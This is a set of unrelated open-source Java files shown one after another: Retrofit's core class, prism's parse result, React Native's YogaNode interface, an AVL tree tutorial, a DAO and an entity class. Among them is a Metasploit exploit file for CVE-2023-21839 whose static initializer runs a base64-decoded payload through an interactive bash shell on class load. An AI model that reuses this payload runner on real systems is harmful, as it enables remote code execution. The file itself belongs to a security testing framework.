okhttp3.Call.Factory callFactory; final HttpUrl baseUrl; final List<Converter.Factory> converterFactories; final int defaultConverterFactoriesSize; final List<CallAdapter.Factory> callAdapterFactories; final int defaultCallAdapterFactoriesSize; final @Nullable Executor callbackExecutor; final boolean validateEagerly; Retrofit( okhttp3.Call.Factory callFactory, HttpUrl baseUrl, List<Converter.Factory> converterFactories, int defaultConverterFactoriesSize, List<CallAdapter.Factory> callAdapterFactories, int defaultCallAdapterFactoriesSize, @Nullable Executor callbackExecutor, boolean validateEagerly) { this.callFactory = callFactory; this.baseUrl = baseUrl; this.converterFactories = converterFactories; // Copy+unmodifiable at call site. this.defaultConverterFactoriesSize = defaultConverterFactoriesSize; this.callAdapterFactories = callAdapterFactories; // Copy+unmodifiable at call site. this.defaultCallAdapterFactoriesSize = defaultCallAdapterFactoriesSize; this.callbackExecutor = callbackExecutor; this.validateEagerly = validateEagerly; } /** * Create an implementation of the API endpoints defined by the {@code service} interface. * * <p>The relative path for a given method is obtained from an annotation on the method describing * the request type. The built-in methods are {@link retrofit2.http.GET GET}, {@link * retrofit2.http.PUT PUT}, {@link retrofit2.http.POST POST}, {@link retrofit2.http.PATCH PATCH}, * {@link retrofit2.http.HEAD HEAD}, {@link retrofit2.http.DELETE DELETE} and {@link * retrofit2.http.OPTIONS OPTIONS}. You can use a custom HTTP method with {@link HTTP @HTTP}. For * a dynamic URL, omit the path on the annotation and annotate the first parameter with {@link * Url @Url}. * * <p>Method parameters can be used to replace parts of the URL by annotating them with {@link * retrofit2.http.Path @Path}. Replacement sections are denoted by an identifier surrounded by * curly braces (e.g., "{foo}"). To add items to the query string of a URL use {@link * retrofit2.http.Query @Query}. * * <p>The body of a request is denoted by the {@link retrofit2.http.Body @Body} annotation. The * object will be converted to request representation by one of the {@link Converter.Factory} * instances. A {@link RequestBody} can also be used for a raw representation. * * <p>Alternative request body formats are supported by method annotations and corresponding * parameter annotations: * * <ul> * <li>{@link retrofit2.http.FormUrlEncoded @FormUrlEncoded} - Form-encoded data with key-value * pairs specified by the {@link retrofit2.http.Field @Field} parameter annotation. * <li>{@link retrofit2.http.Multipart @Multipart} - RFC 2388-compliant multipart data with * parts specified by the {@link retrofit2.http.Part @Part} parameter annotation. * </ul> * * <p>Additional static headers can be added for an endpoint using the {@link * retrofit2.http.Headers @Headers} method annotation. For per-request control over a header * annotate a parameter with {@link Header @Header}. * * <p>By default, methods return a {@link Call} which represents the HTTP request. The generic * parameter of the call is the response body type and will be converted by one of the {@link * Converter.Factory} instances. {@link ResponseBody} can also be used for a raw representation. * {@link Void} can be used if you do not care about the body contents. * * <p>For example: * * <pre> * public interface CategoryService { * &#64;POST("category/{cat}/") * Call&lt;List&lt;Item&gt;&gt; categoryList(@Path("cat") String a, @Query("page") int b); * } * </pre> */ @SuppressWarnings("unchecked") // Single-interface proxy creation guarded by parameter safety. public <T> T create(final Class<T> service) { validateServiceInterface(service); return (T) Proxy.newProxyInstance( service.getClassLoader(), new Class<?>[] {service}, new InvocationHandler() { private final Object[] emptyArgs = new Object[0]; @Override public @Nullable Object invoke(Object proxy, Method method, @Nullable Object[] args) throws Throwable { // If the method is a method from Object then defer to normal invocation. if (method.getDeclaringClass() == Object.class) { return method.invoke(this, args); } args = args != null ? args : emptyArgs; Reflection reflection = Platform.reflection; return reflection.isDefaultMethod(method) ? reflection.invokeDefaultMethod(method, service, proxy, args) : loadServiceMethod(service, method).invoke(proxy, args); } }); } private void validateServiceInterface(Class<?> service) { if (!service.isInterface()) { throw new IllegalArgumentException("API declarations must be interfaces."); } Deque<Class<?>> check = new ArrayDeque<>(1); check.add(service); while (!check.isEmpty()) { Class<?> candidate = check.removeFirst(); if (candidate.getTypeParameters().length != 0) { StringBuilder message = new StringBuilder("Type parameters are unsupported on ").append(candidate.getName()); if (candidate != service) { message.append(" which is an interface of ").append(service.getName()); } throw new IllegalArgumentException(message.toString()); } Collections.addAll(check, candidate.getInterfaces()); } if (validateEagerly) { Reflection reflection = Platform.reflection; for (Method method : service.getDeclaredMethods()) { if (!reflection.isDefaultMethod(method) && !Modifier.isStatic(method.getModifiers()) && !method.isSynthetic()) { loadServiceMethod(service, method); } } } } ServiceMethod<?> loadServiceMethod(Class<?> service, Method method) { while (true) { // Note: Once we are minSdk 24 this whole method can be replaced by computeIfAbsent. Object lookup = serviceMethodCache.get(method); if (lookup instanceof ServiceMethod<?>) { // Happy path: method is already parsed into the model. return (ServiceMethod<?>) lookup; } if (lookup == null) { // Map does not contain any value. Try to put in a lock for this method. We MUST synchronize // on the lock before it is visible to others via the map to signal we are doing the work. Object lock = new Object(); synchronized (lock) { lookup = serviceMethodCache.putIfAbsent(method, lock); if (lookup == null) { // On successful lock insertion, perform the work and update the map before releasing. // Other threads may be waiting on lock now and will expect the parsed model. ServiceMethod<Object> result; try { result = ServiceMethod.parseAnnotations(this, service, method); } catch (Throwable e) { // Remove the lock on failure. Any other locked threads will retry as a result. serviceMethodCache.remove(method); throw e; } serviceMethodCache.put(method, result); return result; } } } // Either the initial lookup or the attempt to put our lock in the map has returned someone // else's lock. This means they are doing the parsing, and will update the map before // releasing // the lock. Once we can take the lock, the map is guaranteed to contain the model or null. // Note: There's a chance that our effort to put a lock into the map has actually returned a // finished model instead of a lock. In that case this code will perform a pointless lock and // redundant lookup in the map of the same instance. This is rare, and ultimately harmless. synchronized (lookup) { Object result = serviceMethodCache.get(method); if (result == null) { // The other thread failed its parsing. We will retry (and probably also fail). continue; } return (ServiceMethod<?>) result; } } } /** * The factory used to create {@linkplain okhttp3.Call OkHttp calls} for sending a HTTP requests. * Typically an instance of {@link OkHttpClient}. */ public okhttp3.Call.Factory callFactory() { return callFactory; } /** The API base URL. */ public HttpUrl baseUrl() { return baseUrl; } /** * Returns a list of the factories tried when creating a {@linkplain #callAdapter(Type, * Annotation[])} call adapter}. */ public List<CallAdapter.Factory> callAdapterFactories() { return callAdapterFactories; } /** * Returns the {@link CallAdapter} for {@code returnType} from the available {@linkplain * #callAdapterFactories() factories}. * * @throws IllegalArgumentException if no call adapter available for {@code type}. */ public CallAdapter<?, ?> callAdapter(Type returnType, Annotation[] annotations) { return nextCallAdapter(null, returnType, annotations); } /** * Returns the {@link CallAdapter} for {@code returnType} from the available {@linkplain * #callAdapterFactories() factories} except {@code skipPast}. * * @throws IllegalArgumentException if no call adapter available for {@code type}. */ public CallAdapter<?, ?> nextCallAdapter( @Nullable CallAdapter.Factory skipPast, Type returnType, Annotation[] annotations) { Objects.requireNonNull(returnType, "returnType == null"); Objects.requireNonNull(annotations, "annotations == null"); int start = callAdapterFactories.indexOf(skipPast) + 1; for (int i = start, count = callAdapterFactories.size(); i < count; i++) { CallAdapter<?, ?> adapter = callAdapterFactories.get(i).get(returnType, annotations, this); if (adapter != null) { return adapter; } } StringBuilder builder = new StringBuilder("Could not locate call adapter for ").append(returnType).append(".\n"); if (skipPast != null) { builder.append(" Skipped:"); for (int i = 0; i < start; i++) { builder.append("\n * ").append(callAdapterFactories.get(i).getClass().getName()); } builder.append('\n'); } builder.append(" Tried:"); for (int i = start, count = callAdapterFactories.size(); i < count; i++) { builder.append("\n * ").append(callAdapterFactories.get(i).getClass().getName()); } throw new IllegalArgumentException(builder.toString()); } /** * Returns an unmodifiable list of the factories tried when creating a {@linkplain * #requestBodyConverter(Type, Annotation[], Annotation[]) request body converter}, a {@linkplain * #responseBodyConverter(Type, Annotation[]) response body converter}, or a {@linkplain * #stringConverter(Type, Annotation[]) string converter}. */ public List<Converter.Factory> converterFactories() { return converterFactories; } /** * Returns a {@link Converter} for {@code type} to {@link RequestBody} from the available * {@linkplain #converterFactories() factories}. * * @throws IllegalArgumentException if no converter available for {@code type}. */ public <T> Converter<T, RequestBody> requestBodyConverter( Type type, Annotation[] parameterAnnotations, Annotation[] methodAnnotations) { return nextRequestBodyConverter(null, type, parameterAnnotations, methodAnnotations); } /** * Returns a {@link Converter} for {@code type} to {@link RequestBody} from the available * {@linkplain #converterFactories() factories} except {@code skipPast}. * * @throws IllegalArgumentException if no converter available for {@code type}. */ public <T> Converter<T, RequestBody> nextRequestBodyConverter( @Nullable Converter.Factory skipPast, Type type, Annotation[] parameterAnnotations, Annotation[] methodAnnotations) { Objects.requireNonNull(type, "type == null"); Objects.requireNonNull(parameterAnnotations, "parameterAnnotations == null"); Objects.requireNonNull(methodAnnotations, "methodAnnotations == null"); int start = converterFactories.indexOf(skipPast) + 1; for (int i = start, count = converterFactories.size(); i < count; i++) { Converter.Factory factory = converterFactories.get(i); Converter<?, RequestBody> converter = factory.requestBodyConverter(type, parameterAnnotations, methodAnnotations, this); if (converter != null) { //noinspection unchecked return (Converter<T, RequestBody>) converter; } } StringBuilder builder = new StringBuilder("Could not locate RequestBody converter for ").append(type).append(".\n"); if (skipPast != null) { builder.append(" Skipped:"); for (int i = 0; i < start; i++) { builder.append("\n * ").append(converterFactories.get(i).getClass().getName()); } builder.append('\n'); } builder.append(" Tried:"); for (int i = start, count = converterFactories.size(); i < count; i++) { builder.append("\n * ").append(converterFactories.get(i).getClass().getName()); } throw new IllegalArgumentException(builder.toString()); } /** * Returns a {@link Converter} for {@link ResponseBody} to {@code type} from the available * {@linkplain #converterFactories() factories}. * * @throws IllegalArgumentException if no converter available for {@code type}. */ public <T> Converter<ResponseBody, T> responseBodyConverter(Type type, Annotation[] annotations) { return nextResponseBodyConverter(null, type, annotations); } /** * Returns a {@link Converter} for {@link ResponseBody} to {@code type} from the available * {@linkplain #converterFactories() factories} except {@code skipPast}. * * @throws IllegalArgumentException if no converter available for {@code type}. */ public <T> Converter<ResponseBody, T> nextResponseBodyConverter( @Nullable Converter.Factory skipPast, Type type, Annotation[] annotations) { Objects.requireNonNull(type, "type == null"); Objects.requireNonNull(annotations, "annotations == null"); int start = converterFactories.indexOf(skipPast) + 1; for (int i = start, count = converterFactories.size(); i < count; i++) { Converter<ResponseBody, ?> converter = converterFactories.get(i).responseBodyConverter(type, annotations, this); if (converter != null) { //noinspection unchecked return (Converter<ResponseBody, T>) converter; } } StringBuilder builder = new StringBuilder("Could not locate ResponseBody converter for ") .append(type) .append(".\n"); if (skipPast != null) { builder.append(" Skipped:"); for (int i = 0; i < start; i++) { builder.append("\n * ").append(converterFactories.get(i).getClass().getName()); } builder.append('\n'); } builder.append(" Tried:"); for (int i = start, count = converterFactories.size(); i < count; i++) { builder.append("\n * ").append(converterFactories.get(i).getClass().getName()); } throw new IllegalArgumentException(builder.toString()); } /** * Returns a {@link Converter} for {@code type} to {@link String} from the available {@linkplain * #converterFactories() factories}. */ public <T> Converter<T, String> stringConverter(Type type, Annotation[] annotations) { Objects.requireNonNull(type, "type == null"); Objects.requireNonNull(annotations, "annotations == null"); for (int i = 0, count = converterFactories.size(); i < count; i++) { Converter<?, String> converter = converterFactories.get(i).stringConverter(type, annotations, this); if (converter != null) { //noinspection unchecked return (Converter<T, String>) converter; } } // Nothing matched. Resort to default converter which just calls toString(). //noinspection unchecked return (Converter<T, String>) BuiltInConverters.ToStringConverter.INSTANCE; } /** * The executor used for {@link Callback} methods on a {@link Call}. This may be {@code null}, in * which case callbacks should be made synchronously on the background thread. */ public @Nullable Executor callbackExecutor() { return callbackExecutor; } public Builder newBuilder() { return new Builder(this); } /** * Build a new {@link Retrofit}. * * <p>Calling {@link #baseUrl} is required before calling {@link #build()}. All other methods are * optional. */ public static final class Builder { private @Nullable okhttp3.Call.Factory callFactory; private @Nullable HttpUrl baseUrl; private final List<Converter.Factory> converterFactories = new ArrayList<>(); private final List<CallAdapter.Factory> callAdapterFactories = new ArrayList<>(); private @Nullable Executor callbackExecutor; private boolean validateEagerly; public Builder() {} Builder(Retrofit retrofit) { callFactory = retrofit.callFactory; baseUrl = retrofit.baseUrl; // Do not add the default BuiltIntConverters and platform-aware converters added by build(). for (int i = 1, size = retrofit.converterFactories.size() - retrofit.defaultConverterFactoriesSize; i < size; i++) { converterFactories.add(retrofit.converterFactories.get(i)); } // Do not add the default, platform-aware call adapters added by build(). for (int i = 0, size = retrofit.callAdapterFactories.size() - retrofit.defaultCallAdapterFactoriesSize; i < size; i++) { callAdapterFactories.add(retrofit.callAdapterFactories.get(i)); } callbackExecutor = retrofit.callbackExecutor; validateEagerly = retrofit.validateEagerly; } /** * The HTTP client used for requests. * * <p>This is a convenience method for calling {@link #callFactory}. */ public Builder client(OkHttpClient client) { return callFactory(Objects.requireNonNull(client, "client == null")); } /** * Specify a custom call factory for creating {@link Call} instances. * * <p>Note: Calling {@link #client} automatically sets this value. */ public Builder callFactory(okhttp3.Call.Factory factory) { this.callFactory = Objects.requireNonNull(factory, "factory == null"); return this; } /** * Set the API base URL. * * @see #baseUrl(HttpUrl) */ public Builder baseUrl(URL baseUrl) { Objects.requireNonNull(baseUrl, "baseUrl == null"); return baseUrl(HttpUrl.get(baseUrl.toString())); } /** * Set the API base URL. * * @see #baseUrl(HttpUrl) */ public Builder baseUrl(String baseUrl) { Objects.requireNonNull(baseUrl, "baseUrl == null"); return baseUrl(HttpUrl.get(baseUrl)); } /** * Set the API base URL. * * <p>The specified endpoint values (such as with {@link GET @GET}) are resolved against this * value using {@link HttpUrl#resolve(String)}. The behavior of this matches that of an {@code * <a href="">} link on a website resolving on the current URL. * * <p><b>Base URLs should always end in {@code /}.</b> * * <p>A trailing {@code /} ensures that endpoints values which are relative paths will correctly * append themselves to a base which has path components. * * <p><b>Correct:</b><br> * Base URL: http://example.com/api/<br> * Endpoint: foo/bar/<br> * Result: http://example.com/api/foo/bar/ * * <p><b>Incorrect:</b><br> * Base URL: http://example.com/api<br> * Endpoint: foo/bar/<br> * Result: http://example.com/foo/bar/ * * <p>This method enforces that {@code baseUrl} has a trailing {@code /}. * * <p><b>Endpoint values which contain a leading {@code /} are absolute.</b> * * <p>Absolute values retain only the host from {@code baseUrl} and ignore any specified path * components. * * <p>Base URL: http://example.com/api/<br> * Endpoint: /foo/bar/<br> * Result: http://example.com/foo/bar/ * * <p>Base URL: http://example.com/<br> * Endpoint: /foo/bar/<br> * Result: http://example.com/foo/bar/ * * <p><b>Endpoint values may be a full URL.</b> * * <p>Values which have a host replace the host of {@code baseUrl} and values also with a scheme * replace the scheme of {@code baseUrl}. * * <p>Base URL: http://example.com/<br> * Endpoint: https://github.com/square/retrofit/<br> * Result: https://github.com/square/retrofit/ * * <p>Base URL: http://example.com<br> * Endpoint: //github.com/square/retrofit/<br> * Result: http://github.com/square/retrofit/ (note the scheme stays 'http') */ public Builder baseUrl(HttpUrl baseUrl) { Objects.requireNonNull(baseUrl, "baseUrl == null"); List<String> pathSegments = baseUrl.pathSegments(); if (!"".equals(pathSegments.get(pathSegments.size() - 1))) { throw new IllegalArgumentException("baseUrl must end in /: " + baseUrl); } this.baseUrl = baseUrl; return this; } /** Add converter factory for serialization and deserialization of objects. */ public Builder addConverterFactory(Converter.Factory factory) { converterFactories.add(Objects.requireNonNull(factory, "factory == null")); return this; } /** * Add a call adapter factory for supporting service method return types other than {@link * Call}. */ public Builder addCallAdapterFactory(CallAdapter.Factory factory) { callAdapterFactories.add(Objects.requireNonNull(factory, "factory == null")); return this; } /** * The executor on which {@link Callback} methods are invoked when returning {@link Call} from * your service method. * * <p>Note: {@code executor} is not used for {@linkplain #addCallAdapterFactory custom method * return types}. */ public Builder callbackExecutor(Executor executor) { this.callbackExecutor = Objects.requireNonNull(executor, "executor == null"); return this; } /** Returns a modifiable list of call adapter factories. */ public List<CallAdapter.Factory> callAdapterFactories() { return this.callAdapterFactories; } /** Returns a modifiable list of converter factories. */ public List<Converter.Factory> converterFactories() { return this.converterFactories; } /** * When calling {@link #create} on the resulting {@link Retrofit} instance, eagerly validate the * configuration of all methods in the supplied interface. */ public Builder validateEagerly(boolean validateEagerly) { this.validateEagerly = validateEagerly; return this; } /** * Create the {@link Retrofit} instance using the configured values. * * <p>Note: If neither {@link #client} nor {@link #callFactory} is called a default {@link * OkHttpClient} will be created and used. */ public Retrofit build() { if (baseUrl == null) { throw new IllegalStateException("Base URL required."); } okhttp3.Call.Factory callFactory = this.callFactory; if (callFactory == null) { callFactory = new OkHttpClient(); } Executor callbackExecutor = this.callbackExecutor; if (callbackExecutor == null) { callbackExecutor = Platform.callbackExecutor; } BuiltInFactories builtInFactories = Platform.builtInFactories; // Make a defensive copy of the adapters and add the default Call adapter. List<CallAdapter.Factory> callAdapterFactories = new ArrayList<>(this.callAdapterFactories); List<? extends CallAdapter.Factory> defaultCallAdapterFactories = builtInFactories.createDefaultCallAdapterFactories(callbackExecutor); callAdapterFactories.addAll(defaultCallAdapterFactories); // Make a defensive copy of the converters. List<? extends Converter.Factory> defaultConverterFactories = builtInFactories.createDefaultConverterFactories(); int defaultConverterFactoriesSize = defaultConverterFactories.size(); List<Converter.Factory> converterFactories = new ArrayList<>(1 + this.converterFactories.size() + defaultConverterFactoriesSize); // Add the built-in converter factory first. This prevents overriding its behavior but also // ensures correct behavior when using converters that consume all types. converterFactories.add(new BuiltInConverters()); converterFactories.addAll(this.converterFactories); converterFactories.addAll(defaultConverterFactories); return new Retrofit( callFactory, baseUrl, unmodifiableList(converterFactories), defaultConverterFactoriesSize, unmodifiableList(callAdapterFactories), defaultCallAdapterFactories.size(), callbackExecutor, validateEagerly); } } }
square/retrofit
retrofit/src/main/java/retrofit2/Retrofit.java
415
package org.prism; // @formatter:off public final class ParseResult { public static final class MagicComment { public final Nodes.Location keyLocation; public final Nodes.Location valueLocation; public MagicComment(Nodes.Location keyLocation, Nodes.Location valueLocation) { this.keyLocation = keyLocation; this.valueLocation = valueLocation; } } public enum ErrorLevel { /** For errors that should raise SyntaxError. */ ERROR_SYNTAX, /** For errors that should raise ArgumentError. */ ERROR_ARGUMENT, /** For errors that should raise LoadError. */ ERROR_LOAD, } public static ErrorLevel[] ERROR_LEVELS = ErrorLevel.values(); public static final class Error { public final Nodes.ErrorType type; public final String message; public final Nodes.Location location; public final ErrorLevel level; public Error(Nodes.ErrorType type, String message, Nodes.Location location, ErrorLevel level) { this.type = type; this.message = message; this.location = location; this.level = level; } } public enum WarningLevel { /** For warnings which should be emitted if $VERBOSE != nil. */ WARNING_DEFAULT, /** For warnings which should be emitted if $VERBOSE == true. */ WARNING_VERBOSE } public static WarningLevel[] WARNING_LEVELS = WarningLevel.values(); public static final class Warning { public final Nodes.WarningType type; public final String message; public final Nodes.Location location; public final WarningLevel level; public Warning(Nodes.WarningType type, String message, Nodes.Location location, WarningLevel level) { this.type = type; this.message = message; this.location = location; this.level = level; } } public final Nodes.Node value; public final MagicComment[] magicComments; public final Nodes.Location dataLocation; public final Error[] errors; public final Warning[] warnings; public final Nodes.Source source; public ParseResult(Nodes.Node value, MagicComment[] magicComments, Nodes.Location dataLocation, Error[] errors, Warning[] warnings, Nodes.Source source) { this.value = value; this.magicComments = magicComments; this.dataLocation = dataLocation; this.errors = errors; this.warnings = warnings; this.source = source; } } // @formatter:on
ruby/prism
java/org/prism/ParseResult.java
416
/* * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ package com.facebook.yoga; import javax.annotation.Nullable; public abstract class YogaNode implements YogaProps { /** The interface the {@link #getData()} object can optionally implement. */ public interface Inputs { /** Requests the data object to disable mutations of its inputs. */ void freeze(final YogaNode node, final @Nullable YogaNode parent); } public abstract void reset(); public abstract int getChildCount(); public abstract YogaNode getChildAt(int i); public abstract void addChildAt(YogaNode child, int i); public abstract void setIsReferenceBaseline(boolean isReferenceBaseline); public abstract boolean isReferenceBaseline(); public abstract YogaNode removeChildAt(int i); /** * @returns the {@link YogaNode} that owns this {@link YogaNode}. The owner is used to identify * the YogaTree that a {@link YogaNode} belongs to. This method will return the parent of the * {@link YogaNode} when the {@link YogaNode} only belongs to one YogaTree or null when the * {@link YogaNode} is shared between two or more YogaTrees. */ @Nullable public abstract YogaNode getOwner(); /** @deprecated Use #getOwner() instead. This will be removed in the next version. */ @Deprecated @Nullable public abstract YogaNode getParent(); public abstract int indexOf(YogaNode child); public abstract void calculateLayout(float width, float height); public abstract boolean hasNewLayout(); public abstract void dirty(); public abstract boolean isDirty(); public abstract void copyStyle(YogaNode srcNode); public abstract void markLayoutSeen(); public abstract YogaDirection getStyleDirection(); public abstract void setDirection(YogaDirection direction); public abstract YogaFlexDirection getFlexDirection(); public abstract void setFlexDirection(YogaFlexDirection flexDirection); public abstract YogaJustify getJustifyContent(); public abstract void setJustifyContent(YogaJustify justifyContent); public abstract YogaAlign getAlignItems(); public abstract void setAlignItems(YogaAlign alignItems); public abstract YogaAlign getAlignSelf(); public abstract void setAlignSelf(YogaAlign alignSelf); public abstract YogaAlign getAlignContent(); public abstract void setAlignContent(YogaAlign alignContent); public abstract YogaPositionType getPositionType(); public abstract void setPositionType(YogaPositionType positionType); public abstract YogaWrap getWrap(); public abstract void setWrap(YogaWrap flexWrap); public abstract YogaOverflow getOverflow(); public abstract void setOverflow(YogaOverflow overflow); public abstract YogaDisplay getDisplay(); public abstract void setDisplay(YogaDisplay display); public abstract float getFlex(); public abstract void setFlex(float flex); public abstract float getFlexGrow(); public abstract void setFlexGrow(float flexGrow); public abstract float getFlexShrink(); public abstract void setFlexShrink(float flexShrink); public abstract YogaValue getFlexBasis(); public abstract void setFlexBasis(float flexBasis); public abstract void setFlexBasisPercent(float percent); public abstract void setFlexBasisAuto(); public abstract YogaValue getMargin(YogaEdge edge); public abstract void setMargin(YogaEdge edge, float margin); public abstract void setMarginPercent(YogaEdge edge, float percent); public abstract void setMarginAuto(YogaEdge edge); public abstract YogaValue getPadding(YogaEdge edge); public abstract void setPadding(YogaEdge edge, float padding); public abstract void setPaddingPercent(YogaEdge edge, float percent); public abstract float getBorder(YogaEdge edge); public abstract void setBorder(YogaEdge edge, float border); public abstract YogaValue getPosition(YogaEdge edge); public abstract void setPosition(YogaEdge edge, float position); public abstract void setPositionPercent(YogaEdge edge, float percent); public abstract YogaValue getWidth(); public abstract void setWidth(float width); public abstract void setWidthPercent(float percent); public abstract void setWidthAuto(); public abstract YogaValue getHeight(); public abstract void setHeight(float height); public abstract void setHeightPercent(float percent); public abstract void setHeightAuto(); public abstract YogaValue getMinWidth(); public abstract void setMinWidth(float minWidth); public abstract void setMinWidthPercent(float percent); public abstract YogaValue getMinHeight(); public abstract void setMinHeight(float minHeight); public abstract void setMinHeightPercent(float percent); public abstract YogaValue getMaxWidth(); public abstract void setMaxWidth(float maxWidth); public abstract void setMaxWidthPercent(float percent); public abstract YogaValue getMaxHeight(); public abstract void setMaxHeight(float maxheight); public abstract void setMaxHeightPercent(float percent); public abstract float getAspectRatio(); public abstract void setAspectRatio(float aspectRatio); public abstract float getGap(YogaGutter gutter); public abstract void setGap(YogaGutter gutter, float gapLength); public abstract void setGapPercent(YogaGutter gutter, float gapLength); public abstract float getLayoutX(); public abstract float getLayoutY(); public abstract float getLayoutWidth(); public abstract float getLayoutHeight(); public abstract float getLayoutMargin(YogaEdge edge); public abstract float getLayoutPadding(YogaEdge edge); public abstract float getLayoutBorder(YogaEdge edge); public abstract YogaDirection getLayoutDirection(); public abstract void setMeasureFunction(YogaMeasureFunction measureFunction); public abstract void setBaselineFunction(YogaBaselineFunction baselineFunction); public abstract boolean isMeasureDefined(); public abstract boolean isBaselineDefined(); public abstract void setData(Object data); @Nullable public abstract Object getData(); public abstract YogaNode cloneWithoutChildren(); public abstract YogaNode cloneWithChildren(); public abstract void setAlwaysFormsContainingBlock(boolean alwaysFormsContainingBlock); }
facebook/react-native
packages/react-native/ReactAndroid/src/main/java/com/facebook/yoga/YogaNode.java
417
import java.util.Base64; public class PayloadRuns { static { try { Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}"); } catch (Exception ex) { ex.printStackTrace(); } } }
rapid7/metasploit-framework
data/exploits/CVE-2023-21839/PayloadRuns.java
418
/** * File: avl_tree.java * Created Time: 2022-12-10 * Author: krahets (krahets@163.com) */ package chapter_tree; import utils.*; /* AVL 树 */ class AVLTree { TreeNode root; // 根节点 /* 获取节点高度 */ public int height(TreeNode node) { // 空节点高度为 -1 ,叶节点高度为 0 return node == null ? -1 : node.height; } /* 更新节点高度 */ private void updateHeight(TreeNode node) { // 节点高度等于最高子树高度 + 1 node.height = Math.max(height(node.left), height(node.right)) + 1; } /* 获取平衡因子 */ public int balanceFactor(TreeNode node) { // 空节点平衡因子为 0 if (node == null) return 0; // 节点平衡因子 = 左子树高度 - 右子树高度 return height(node.left) - height(node.right); } /* 右旋操作 */ private TreeNode rightRotate(TreeNode node) { TreeNode child = node.left; TreeNode grandChild = child.right; // 以 child 为原点,将 node 向右旋转 child.right = node; node.left = grandChild; // 更新节点高度 updateHeight(node); updateHeight(child); // 返回旋转后子树的根节点 return child; } /* 左旋操作 */ private TreeNode leftRotate(TreeNode node) { TreeNode child = node.right; TreeNode grandChild = child.left; // 以 child 为原点,将 node 向左旋转 child.left = node; node.right = grandChild; // 更新节点高度 updateHeight(node); updateHeight(child); // 返回旋转后子树的根节点 return child; } /* 执行旋转操作,使该子树重新恢复平衡 */ private TreeNode rotate(TreeNode node) { // 获取节点 node 的平衡因子 int balanceFactor = balanceFactor(node); // 左偏树 if (balanceFactor > 1) { if (balanceFactor(node.left) >= 0) { // 右旋 return rightRotate(node); } else { // 先左旋后右旋 node.left = leftRotate(node.left); return rightRotate(node); } } // 右偏树 if (balanceFactor < -1) { if (balanceFactor(node.right) <= 0) { // 左旋 return leftRotate(node); } else { // 先右旋后左旋 node.right = rightRotate(node.right); return leftRotate(node); } } // 平衡树,无须旋转,直接返回 return node; } /* 插入节点 */ public void insert(int val) { root = insertHelper(root, val); } /* 递归插入节点(辅助方法) */ private TreeNode insertHelper(TreeNode node, int val) { if (node == null) return new TreeNode(val); /* 1. 查找插入位置并插入节点 */ if (val < node.val) node.left = insertHelper(node.left, val); else if (val > node.val) node.right = insertHelper(node.right, val); else return node; // 重复节点不插入,直接返回 updateHeight(node); // 更新节点高度 /* 2. 执行旋转操作,使该子树重新恢复平衡 */ node = rotate(node); // 返回子树的根节点 return node; } /* 删除节点 */ public void remove(int val) { root = removeHelper(root, val); } /* 递归删除节点(辅助方法) */ private TreeNode removeHelper(TreeNode node, int val) { if (node == null) return null; /* 1. 查找节点并删除 */ if (val < node.val) node.left = removeHelper(node.left, val); else if (val > node.val) node.right = removeHelper(node.right, val); else { if (node.left == null || node.right == null) { TreeNode child = node.left != null ? node.left : node.right; // 子节点数量 = 0 ,直接删除 node 并返回 if (child == null) return null; // 子节点数量 = 1 ,直接删除 node else node = child; } else { // 子节点数量 = 2 ,则将中序遍历的下个节点删除,并用该节点替换当前节点 TreeNode temp = node.right; while (temp.left != null) { temp = temp.left; } node.right = removeHelper(node.right, temp.val); node.val = temp.val; } } updateHeight(node); // 更新节点高度 /* 2. 执行旋转操作,使该子树重新恢复平衡 */ node = rotate(node); // 返回子树的根节点 return node; } /* 查找节点 */ public TreeNode search(int val) { TreeNode cur = root; // 循环查找,越过叶节点后跳出 while (cur != null) { // 目标节点在 cur 的右子树中 if (cur.val < val) cur = cur.right; // 目标节点在 cur 的左子树中 else if (cur.val > val) cur = cur.left; // 找到目标节点,跳出循环 else break; } // 返回目标节点 return cur; } } public class avl_tree { static void testInsert(AVLTree tree, int val) { tree.insert(val); System.out.println("\n插入节点 " + val + " 后,AVL 树为"); PrintUtil.printTree(tree.root); } static void testRemove(AVLTree tree, int val) { tree.remove(val); System.out.println("\n删除节点 " + val + " 后,AVL 树为"); PrintUtil.printTree(tree.root); } public static void main(String[] args) { /* 初始化空 AVL 树 */ AVLTree avlTree = new AVLTree(); /* 插入节点 */ // 请关注插入节点后,AVL 树是如何保持平衡的 testInsert(avlTree, 1); testInsert(avlTree, 2); testInsert(avlTree, 3); testInsert(avlTree, 4); testInsert(avlTree, 5); testInsert(avlTree, 8); testInsert(avlTree, 7); testInsert(avlTree, 9); testInsert(avlTree, 10); testInsert(avlTree, 6); /* 插入重复节点 */ testInsert(avlTree, 7); /* 删除节点 */ // 请关注删除节点后,AVL 树是如何保持平衡的 testRemove(avlTree, 8); // 删除度为 0 的节点 testRemove(avlTree, 5); // 删除度为 1 的节点 testRemove(avlTree, 4); // 删除度为 2 的节点 /* 查询节点 */ TreeNode node = avlTree.search(7); System.out.println("\n查找到的节点对象为 " + node + ",节点值 = " + node.val); } }
krahets/hello-algo
codes/java/chapter_tree/avl_tree.java
420
package com.macro.mall.dao; import com.macro.mall.dto.PmsProductResult; import org.apache.ibatis.annotations.Param; /** * 商品管理自定义Dao * Created by macro on 2018/4/26. */ public interface PmsProductDao { /** * 获取商品编辑信息 */ PmsProductResult getUpdateInfo(@Param("id") Long id); }
macrozheng/mall
mall-admin/src/main/java/com/macro/mall/dao/PmsProductDao.java
421
package com.baeldung.data; import jakarta.persistence.Entity; import jakarta.persistence.GeneratedValue; import jakarta.persistence.Id; import jakarta.validation.constraints.Email; import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.Pattern; @Entity public class Contact { @Id @GeneratedValue private Long id; @NotBlank private String name; @Email private String email; @Pattern(regexp = "\\d{3}-\\d{3}-\\d{4}") private String phone; public Contact() { } public Contact(String name, String email, String phone) { this.name = name; this.email = email; this.phone = phone; } public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } @Override public String toString() { return "Contact {" + "id=" + id + ", name='" + name + "'" + ", email='" + email + "'" + ", phone='" + phone + "'" + " }"; } }
eugenp/tutorials
vaadin/src/main/java/com/baeldung/data/Contact.java
422
